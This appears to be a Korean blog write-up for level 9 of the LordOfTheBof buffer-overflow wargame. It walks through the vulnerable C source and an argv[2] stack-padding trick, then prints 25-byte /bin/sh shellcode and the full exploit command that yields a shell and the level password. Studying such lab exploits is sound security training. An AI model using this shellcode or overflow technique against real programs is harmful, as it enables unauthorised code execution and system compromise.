-
[LEVEL9] (troll -> vampire) : check 0xbfffWargame/LordOfTheBof (redhat) 2013. 6. 28. 16:08
1. 문제 Source
/* The Lord of the BOF : The Fellowship of the BOF - vampire - check 0xbfff */ #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { char buffer[40]; if(argc < 2){ printf("argv error\n"); exit(0); } if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // here is changed! if(argv[1][46] == '\xff') { printf("but it's not forever\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); }
우선 소스를 살펴보자.
1. 인자의 개수(argc)는 2개 이상.
2. argv[1][47]의 값은 \xbf 여야 한다.
3. argv[1][46]의 값이 \xff면 프로그램 종료
환경변수 제약이 사라졌고, buffer, argv[1]에 대한 초기화가 사라졌다 !
하지만 특이한 검증이 추가되었는데 바로 3번, argv[1][46]의 값이 \xff 면 종료된다.
현재까지 착실하게 문제를 푼 사람이라면 바로 느낄 수 있을것이다.
그렇다. buffer, 환경변수, argv[1]등 모든 방법의 주소는 0xbf ff 로 시작했었다.
즉, 제약이 없어져도 모두 못쓰는 셈이다.
하지만 argc에 대한 검증이 if(argc != 2) 에서 if(argc < 2)로 변경되었는데, 이를 이용하자.
2. argv[2]를 이용
우선 아래의 2가지를 인지하자.
1. Stack은 높은 주소에서 낮은 주소로 자란다.
2. 2차원 포인터로 선언된 char *argv[] 는 숫자가 높은 인자부터 Stack에 저장된다.
즉 argv[2]까지 입력할 시 argv[2], argv[1], argv[0] 순으로 Stack에 저장된다.
고로 argv[2]에 엄청 많은 값을 집어넣게 되면 argv[1]이 들어갈 주소가 낮아진다는 뜻.
직접 코딩해서 한번 확인해보자.
[troll@localhost troll]$ vi test.c
main(int argc, char *argv[]) { printf("argv[0] : %#x\n", argv[0]); printf("argv[1] : %#x\n", argv[1]); printf("argv[2] : %#x\n", argv[2]); }
[troll@localhost troll]$ gcc -o test test.c
[troll@localhost troll]$ ./test `python -c "print 'A'*48"` `python -c "print 'BBBB'*20000"`
argv[0] : 0xbffec3b1
argv[1] : 0xbffec3b8
argv[2] : 0xbffec3e9
역시 주소가 0xbf fe 로 낮아졌다 !
이제 shellcode를 삽입 할 argv[1]의 주소를 알아내야 한다. 원본을 복사하여 아래와 같이 수정하자
[troll@localhost troll]$ cp vampire.c vampira.c
[troll@localhost troll]$ vi vampira.c
...중략... strcpy(buffer, argv[1]); printf("%s\n", buffer); printf("%#x\n", argv[1]); // <- 이 한줄을 추가 }
컴파일 후 실행한다.
[troll@localhost troll]$ gcc -o vampira vampira.c
[troll@localhost troll]$ ./vampira `python -c "print 'A'*40 + 'BBBB' + '\xbf\xbf\xbf\xbf'"` `python -c "print 'CCCC'*20000"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����
0xbffec3b2
Segmentation fault
낮은 주소의 argv[1]이 완성되었다. 이제 이것을 이용해 Exploit을 진행하자.
3. Exploit
사용할 shellcode는 아래와 같다. (총 25 Byte)
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
아래는 최종 구성이다.
shellcode
NOP
SFP
RET
25 Byte
15 Byte
4 Byte(NOP)
4 Byte
40 Byte
[troll@localhost troll]$ bash2
[troll@localhost troll]$ ./vampire `python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' + '\x90'*19 + '\xb2\xc3\xfe\xbf'"` `python -c "print 'CCCC'*20000"`
1�Ph//shh/bin��PS��1Ұ
�����������������������
bash$ my-pass
euid = 509
music world
성공 !
'Wargame > LordOfTheBof (redhat)' 카테고리의 다른 글
[LEVEL11] (skeleton -> golem) : stack destroyer (0) 2013.07.05 [LEVEL10] (vampire -> skeleton) : argv hunter (0) 2013.06.28 [LEVEL8] (orge -> troll) : check argc (0) 2013.06.27 [LEVEL7] (darkelf -> orge) : check argv[0] (0) 2013.06.27 [LEVEL6] (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter (0) 2013.06.27